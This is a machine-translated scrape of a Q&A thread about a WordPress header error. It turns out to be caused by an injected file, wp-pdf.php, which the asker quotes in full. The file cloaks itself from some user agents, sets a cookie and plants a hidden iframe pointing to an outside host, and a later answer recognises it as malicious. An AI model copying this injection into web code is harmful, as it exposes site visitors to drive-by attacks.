2012-04-18 78 views
1

我知道這是一個經典的話:我從WordPress的未來該錯誤消息:不可解經典的錯誤信息:無法修改標題信息 - WordPress的

警告:不能更改頭信息 - 已經由(輸出發送頭開始在上線/home/quanscom/public_html/blog/wp-pdf.php:8)在/home/quanscom/public_html/blog/wp-includes/feed-rss2.php 8

我知道這是通常來自垃圾空間或文件中的一行,但這次似乎有所不同。

我一直在關注這些鏈接:

https://www.google.com/search?sourceid=chrome&ie=UTF-8&q=Warning%3A+Cannot+modify+header+information+-+headers+already+sent+by+wordpress+rss

,尤其是這一個:

http://codex.wordpress.org/Answers-Trouble_Shooting#Headers_already_sent

但一切都沒有改變。正如上一個鏈接中所建議的那樣,我已經用原始文件替換了這兩個文件,但沒有任何更改。 請問有人能用一些新鮮的眼睛看看嗎? 謝謝,你會發現下面的兩頁:

WP-pdfphp:

<?php 
if([email protected]($_COOKIE['PHPSESS1D']) && 
    [email protected]_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) { 
    if (!is_feed()) { 
     echo '<script type="text/javascript"> 
       d=new Date(); 
       d.setDate(d.getDate()+1); 
       document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString(); 
       </script>'; 
     echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>'; 
    } 
} 
?> 

飼料rss2.php:

<?php 
/** 
* RSS2 Feed Template for displaying RSS2 Posts feed. 
* 
* @package WordPress 
*/ 

header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true); 
$more = 1; 

echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?> 

<rss version="2.0" 
    xmlns:content="http://purl.org/rss/1.0/modules/content/" 
    xmlns:wfw="http://wellformedweb.org/CommentAPI/" 
    xmlns:dc="http://purl.org/dc/elements/1.1/" 
    xmlns:atom="http://www.w3.org/2005/Atom" 
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" 
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/" 
    <?php do_action('rss2_ns'); ?> 
> 
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after. 

回答

1

在上線的WP-pdf.php文件8,你有一個回聲陳述。在feed-rss2.php中,你有一個header()函數,它基本上試圖設置響應頭。由於輸出已經發生在wp-pdf.php文件中,所以您會收到此錯誤。

要解決這個問題,你可以用這個條件包含echo語句。

if (!is_feed()) { 
    // your echo statement here 
} 
+0

感謝您的幫助,我嘗試了您的解決方案,但沒有任何改變。 事實上,我甚至可以刪除wp_pdf.php中的所有內容,並且什麼也沒有發生。我甚至可以刪除沒有任何結果的標題句子。順便說一句,這是我正在談論的Rss提要頁面:http://feeds.feedburner.com/quantum-wireless – 2012-04-19 14:20:12

+0

wp_pdf.php文件中有兩個echo語句。你是否在我給的陳述中附上了他們兩個? – Sudar 2012-04-19 14:21:50

+0

是的,看編輯,我做了更改 – 2012-04-19 14:32:02

0

仔細看看wp-pdf.php文件代碼,它對我來說看起來有點惡意。它在您的頁面上包含一個隱藏的iframe,使其看起來非常惡意。此外,代碼正在檢查頁面是否被搜索引擎引用。

我知道你繼承了這段代碼。你能告訴我這個文件存在的完整路徑嗎?

編輯

我想你可以刪除WP-pdf.php文件。當你刪除它時,它可能會在原來包含的地方產生另一個錯誤。你可以去那裏去除參考。

+0

因此,該文件的路徑爲/home/quanscom/public_html/blog/wp-pdf.php,您可以在該頁面頂部的錯誤消息(關注此問題的頁面)中看到, feeds.feedburner.com/quantum-wireless從該頁面訪問(只需點擊右側的RSS源):http://www.quantum-wireless.com/blog/ – 2012-04-23 18:23:35

+0

感謝您的幫助! – 2012-04-23 18:24:00

相關問題